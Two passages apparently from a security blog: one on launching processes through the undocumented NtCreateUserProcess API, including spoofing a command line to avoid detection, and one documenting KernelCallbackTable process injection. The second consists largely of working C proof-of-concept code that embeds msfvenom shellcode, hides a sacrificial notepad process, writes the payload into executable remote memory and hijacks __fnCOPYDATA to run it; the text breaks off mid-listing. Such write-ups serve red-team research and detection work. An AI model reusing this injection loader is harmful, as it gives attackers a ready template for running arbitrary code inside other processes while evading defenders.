    _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
    _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
    _In_ ULONG ProcessFlags,
    _In_ ULONG ThreadFlags,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _Inout_ PPS_CREATE_INFO CreateInfo,
    _In_ PPS_ATTRIBUTE_LIST AttributeList
);

Let’s start building this function and its parameter starting with both ProcessHandle and ThreadHandle which will store the handles to the created process and thread. These two arguments are too simple and can be initialized with the following:

HANDLE hProcess, hThread = NULL;

For ProcessDesiredAccess and ThreadDesiredAccess parameters, we need to supply them with ACCESS_MASK values that would identify the rights and controls we have over the process and thread we’re creating. Different values could be assigned to ACCESS_MASK and they are listed in winnt.h. Since we’re only dealing with process and thread objects, we can use the process- and thread-specific access rights PROCESS_ALL_ACCESS and THREAD_ALL_ACCESS.

For other process- and thread-specific access rights, refer to these documentations:

• Process Security and Access Rights
• Thread Security and Access Rights

The next parameters are ProcessObjectAttributes and ThreadObjectAttributes, which are pointers to an OBJECT_ATTRIBUTES. This structure contains the attributes that could be applied to the objects or object handles that will be created. These parameters are optional hence we can simply assign NULL values to them.

The flags set within ProcessFlags and ThreadFlags determine how we want our process and thread to be created (e.g., if we want a suspended process/thread upon creation). They are similar to the dwCreationFlags argument of CreateProcess() but the flags documented in MSDN do not apply to NtCreateUserProcess(). At the same time, SysWhisper2 (my go-to tool for generating the structs and typedefs of a function) does not support the generation of these flags. So where do we get the flags for these parameters? Good thing Process Hacker exists and open-source.

So based on ntpsapi.h header of Process Hacker, the valid values for ProcessFlags are:

#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx & NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx & NtCreateUserProces

While the following are the valid flags for ThreadFlags (based on ntpsapi.h):

#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess & NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?

What I like about the flags provided by Process Hacker is that they put some notes on what flags are supported by which native APIs. So be wary since not all flags are supported by NtCreateProcess(). For example, only THREAD_CREATE_FLAGS_CREATE_SUSPENDED could be applied to the ThreadFlags parameter.

So which among these flags should we use? Well, to create a “minimal” working PoC for NtCreateUserProcess(), we could simply set these parameters to NULL.

The next parameter (ProcessParameters) is optional but I found it to be mandatory. This parameter points to a RTL_USER_PROCESS_PARAMETERS structure which describes the startup parameters of the process to be created. We’ll discuss more about this parameter in the next section.

Next in line is CreateInfo, which is a pointer to a PS_CREATE_INFO structure. There’s not much information on the Internet (based on my searches) about PS_CREATE_INFO and this is the only post that I found that discusses this structure.

Based on my experiment, the PS_CREATE_STATE enumeration value that worked for me is PsCreateInitialState. So for a “minimal” working PoC, I set the value of PS_CREATE_INFO members to:

CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;

Just like ProcessFlags, I found that the last argument (AttributeList) is not optional (in my case). This parameter is used to set up the attributes for process and thread creation. An example of this is when implementing PPID Spoofing where the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute is set (if the WinAPI CreateProcess() is used). While the attributes for CreateProcess() is documented here, the valid attributes for NtCreateProcess() is not. So where do we get these “native attributes”? Again, Process Hacker’s ntpsapi.h to the rescue.

#define PS_ATTRIBUTE_PARENT_PROCESS PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_DEBUG_PORT PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_TOKEN PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_TEB_ADDRESS PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IMAGE_INFO PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)
#define PS_ATTRIBUTE_MEMORY_RESERVE PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ERROR_MODE PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_STD_HANDLE_INFO PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_HANDLE_LIST PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_GROUP_AFFINITY PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_PREFERRED_NODE PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IDEAL_PROCESSOR PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_UMS_THREAD PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_MITIGATION_OPTIONS PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_SECURE_PROCESS PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHPE PsAttributeValue(PsAttributeChpe, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_MITIGATION_AUDIT_OPTIONS PsAttributeValue(PsAttributeMitigationAuditOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_MACHINE_TYPE PsAttributeValue(PsAttributeMachineType, FALSE, TRUE, TRUE)

Table 3-7: Process Attributes of “Windows Internals, Part 1 (7th Edition)” presents a nice table on which “native attribute” corresponds to its Win32 equivalent.

Going back to AttributeList, I initialize this parameter with the following code:

PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);

AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

Here, the attribute PS_ATTRIBUTE_IMAGE_NAME specifies the name of the process to be created, and the NtImagePath variable holds the path of the image/binary from which the process will be created.

So here’s what the code for NtCreateProcess() would look like:

NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

RtlCreateProcessParametersEx()

If you have observed, NtCreateProcess() does not accept any argument that contains the path to the process to be created. This is where RtlCreateProcessParametersEx() comes into action. As the name suggests, its purpose is to populate the structure that will hold the parameters of the process to be created. This undocumented (but not native) function has the following syntax.

NTSTATUS
NTAPI
RtlCreateProcessParametersEx(
    _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
    _In_opt_ PUNICODE_STRING RuntimeData,
    _In_ ULONG Flags
);

pProcessParameters points to the RTL_USER_PROCESS_PARAMETERS structure, which will hold the process parameter information as a result of executing RtlCreateProcessParametersEx(). Any information stored in the structure is then used as an input to NtCreateProcess(). MSDN has poor and very limited documentation of the RTL_USER_PROCESS_PARAMETERS structure so I recommend the structure provided by Process Hacker.

The second parameter ImagePathName holds the full path (in NT path format) of the image/binary from which the process will be created. For example:

UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

The RtlInitUnicodeString() function, which has the following syntax, is necessary to initialize the UNICODE_STRING structure.

VOID NTAPIRtlInitUnicodeString(
    _Out_ PUNICODE_STRING DestinationString,
    _In_opt_ PWSTR SourceString
);

The initialization of the UNICODE_STRING structure is done by:

• Setting the Length and MaximumLength members to the length of the SourceString
• Setting the Buffer member to the address of the string passed in SourceString

  typedef struct _UNICODE_STRING
  {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
  } UNICODE_STRING, * PUNICODE_STRING;
  

  The other arguments (DllPath, CurrentDirectory, CommandLine, Environment, WindowTitle, DesktopInfo, ShellInfo, RuntimeData) are optional. For our goal, we can simply set them all to NULL.

A scenario in which these parameters can be useful is when “blending in” to help avoid detections. As an example, if we set CommandLine to NULL, the value that will be set upon process creation is the same with what’s passed in ImagePathName.

If we want to mimic/spoof the actual command line when C:\Windows\System32\RuntimeBroker.exe gets created normally, we can do it using the following code:

UNICODE_STRING CommandLine;
RtlInitUnicodeString(&CommandLine, (PWSTR)L"\C:\\Windows\\System32\\RuntimeBroker.exe -Embedding");

The last parameter (Flags) is used to normalize the parameters by setting the value RTL_USER_PROCESS_PARAMETERS_NORMALIZED. When a process is created, some inputs are not even fully initialized yet. If this happens, there’s a chance wherein the memories being accessed are just relative offsets of the structure describing the process and not the actual memory addresses.

If you’re going to use RtlCreateProcessParameters(), which is the non-extended version, a call to RtlNormalizeProcessParameters() should be made to normalize the parameters.

So here’s what the code for RtlCreateProcessParametersEx() I ended up with:

RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

Cleanup Code

As a cleanup, we can use RtlFreeHeap() to free the memory that was allocated by RtlAllocateHeap(), and RtlDestroyProcessParameters() to deallocate the process parameters stored in the RTL_USER_PROCESS_PARAMETERS structure.

RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);

The Header File

Aside from developing the code, another challenge working with native APIs is finding the right structures and definitions to use. I tried to manually create the header file by scouring the Internet and compiling what I have found until every structure and definition that I needed are satisfied. However, it cost me some headaches so I just gave up.

As you’re already aware, I keep on referencing the ntpsapi.h header file from Process Hacker. However, it does not contain every structure and definition that I needed. Even the whole phnt native API header files caused an error during compilation due to missing structures.

After a ton of searches, I ended up with the ntdll.h header file provided by x64dbg/TitanEngine. After including this header in my code, I’m relieved that it did not cause any compilation error.

While it contains everything I need for my “minimal” PoC, there are still some missing definitions that I found. For example, it only has the following flags for process creation compared to what Process Hacker has (listed above):

#define PROCESS_CREATE_FLAGS_BREAKAWAY              0x00000001
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT       0x00000002
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES        0x00000004
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008
#define PROCESS_CREATE_FLAGS_LARGE_PAGES            0x00000010

// Only usable with NtCreateUserProcess (Vista+):
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL  0x00000020
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS      0x00000040 // Only allowed if the calling process is itself protected
#define PROCESS_CREATE_FLAGS_CREATE_SESSION         0x00000080
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT    0x00000100

The Minimal Code

After all the headaches and struggles, here’s the “minimal” working PoC that I came up with:

#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")

int main()
{
	// Path to the image file from which the process will be created
	UNICODE_STRING NtImagePath;
	RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\calc.exe");

	// Create the process parameters
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
	RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);

	// Initialize the PS_CREATE_INFO structure
	PS_CREATE_INFO CreateInfo = { 0 };
	CreateInfo.Size = sizeof(CreateInfo);
	CreateInfo.State = PsCreateInitialState;

	// Initialize the PS_ATTRIBUTE_LIST structure
	PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
	AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
	AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
	AttributeList->Attributes[0].Size = NtImagePath.Length;
	AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

	// Create the process
	HANDLE hProcess, hThread = NULL;
	NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);

	// Clean up
	RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
	RtlDestroyProcessParameters(ProcessParameters);
}

And here’s a demo of launching C:\Windows\System32\calc.exe using the above code.

The full project can be found here.

Conclusion

That’s it for this post! Again, I’m not an expert in Windows Internals so I’m happy to hear some corrections and additional information.

Before I end this, if you want to know the detailed and step-by-step procedure on how a process gets created, I suggest reading the Flow of CreateProcess section in “Windows Internals, Part 1 (7th Edition)”.

A summary of what’s in the book could also be read in this 2-part series:

• The Birth of a Process Part-1
• The Birth of a Process Part-2

This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted.

The Problems

When I Googled about this technique, the very first result that I got was none other than the post written by modexpblog. So for this experiment, I used the code he provided as my basis and slightly modified it.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Shell_TrayWnd", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");

	// Restore original KernelCallbackTable
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);
	printf("[+] Original KernelCallbackTable restored\n");

	// Release memory for code and data
	VirtualFreeEx(hProcess, payloadAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	VirtualFreeEx(hProcess, newKCTAddr, 0, MEM_DECOMMIT | MEM_RELEASE);
	
	// Close handles
	CloseHandle(hWindow);
	CloseHandle(hProcess);
	printf("[+] Cleaned up\n");
}

The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent.

But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB.

During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called.

// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);

What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code.

HWND hWindow = FindWindow(L"Notepad", NULL);

And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage().

The problems I see with this method are:

1. You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.)
2. The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.)
3. The crash is visible to the user.

Other’s Solution

ORCA666 found a way to solve this issue by not targeting explorer.exe and by loading user32.dll in memory. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his KCTHIJACK repo.

His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process.

My Solution

Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do.

First Attempt: FAILED!

To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”.

CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Well, that didn’t work because a suspended process does not have any window in it.

No window means no handle to obtain so injection and execution of payload are not possible.

[+] Window Handle: 0x0000000000000000
[+] Process ID: 0
[+] Process Handle: 0x0000000000000000
[+] PEB Address: 0x0000020C2A583CC0
[+] KernelCallbackTable Address: 0x0000000000000000
[+] Payload Address: 0x0000000000000000
[+] __fnCOPYDATA: 0x0000000000000000
[+] Remote process PEB updated
[+] Payload executed
[+] Original KernelCallbackTable restored
[+] Cleaned up

Second Attempt: FAILED! (again)

Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following:

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen.

Third Attempt: SUCCESS!

After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization.

WaitForInputIdle(pi.hProcess, 1000);

Here’s the final code that I came up with.

#include <Windows.h>
#include <stdio.h>
#include "struct.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
	unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T payloadSize = sizeof(payload);

	// Create a sacrifical process
	PROCESS_INFORMATION pi;
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

	// Wait for process initialization
	WaitForInputIdle(pi.hProcess, 1000);

	// Find a window for explorer.exe
	HWND hWindow = FindWindow(L"Notepad", NULL);
	printf("[+] Window Handle: 0x%p\n", hWindow);

	// Obtain the process pid and open it
	DWORD pid;
	GetWindowThreadProcessId(hWindow, &pid);
	printf("[+] Process ID: %d\n", pid);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Process Handle: 0x%p\n", hProcess);

	// Read PEB and KernelCallBackTable addresses
	PROCESS_BASIC_INFORMATION pbi;
	pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
	myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb;
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);

	KERNELCALLBACKTABLE kct;
	ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
	printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);

	// Write the payload to remote process
